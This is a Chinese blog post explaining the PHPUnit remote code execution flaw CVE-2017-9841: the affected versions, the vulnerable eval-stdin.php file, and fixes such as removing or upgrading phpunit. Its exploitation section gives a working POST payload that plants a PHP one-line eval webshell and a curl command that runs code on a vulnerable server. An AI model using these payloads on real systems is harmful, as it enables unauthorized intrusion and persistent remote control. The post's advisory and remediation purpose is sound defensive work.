Veiking百草园


phpunit 远程代码执行漏洞(CVE-2017-9841)

程序员甲   @Veiking   2020-12-19

phpunit 远程代码执行漏洞(CVE-2017-9841)

摘要:

composer 是 php 包管理工具,通常使用 composer 安装扩展包将会在当前目录创建一个 vendor 文件夹,并将所有依赖文件放在其中。一般这个目录需要放在 web 目录外,用户不能直接访问。这里,PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 模块,如果生产环境中安装了PHPUnit,且该模块目录拥有Web可访问权限,则存在远程代码执行漏洞

本次分享内容为laravel框架使用过程中遇到的关键漏洞。

漏洞概述

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

漏洞版本

4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2

漏洞原理

新的phpunit一般为5.7或最新9,10等版本,基本不存在这个漏洞的可能,可能大家都不会知道有这个漏洞,但是在laravel 7.X版,且phpunit未及时更新的项目中,该漏洞普遍存在。
该漏洞位于文件
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

eval(’?>’.file_get_contents(‘php://input’));

漏洞被利用方法

远程访问
http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用POST方法传递一段以“

例如:直接POST一句话木马:

<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');

即可实现远程操控。

或者用curl命令连接传入木马
例如,执行以下一段代码即可输出pi的值。

curl -XPOST --data "<?php echo(pi());" http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

漏洞修复或处理

1、此模块为单元测试,生产环境实属无用,应果断之(可直接在vendo目录下删除phpunit文件夹);
2、如有操作顾虑,请立即升级版本;
3、如以上操作都不太方便,则需直接在服务器设置权限,禁止访问该目录。

个人相关建议

开发者在使用php相应的框架过程中,尽可能的要关注一些模块的功能,是否所需,以及可能存在的问题;
确实无用的模块拓展,尽可能的给予及时删除,避免隐患,譬如phpunit,其实部分开发者在一般的开发过程中并不使用这一功能,则直接:

composer remove phpunit/phpunit

什么开发环境,生产环境,一删干净,一了百了,如有使用,安之即可。


程序员甲


潜影拾光

羊卓雍错

美丽羊湖,藏南明珠。

扫码转发

二维码
二维码
二维码
二维码
二维码
二维码

博文标签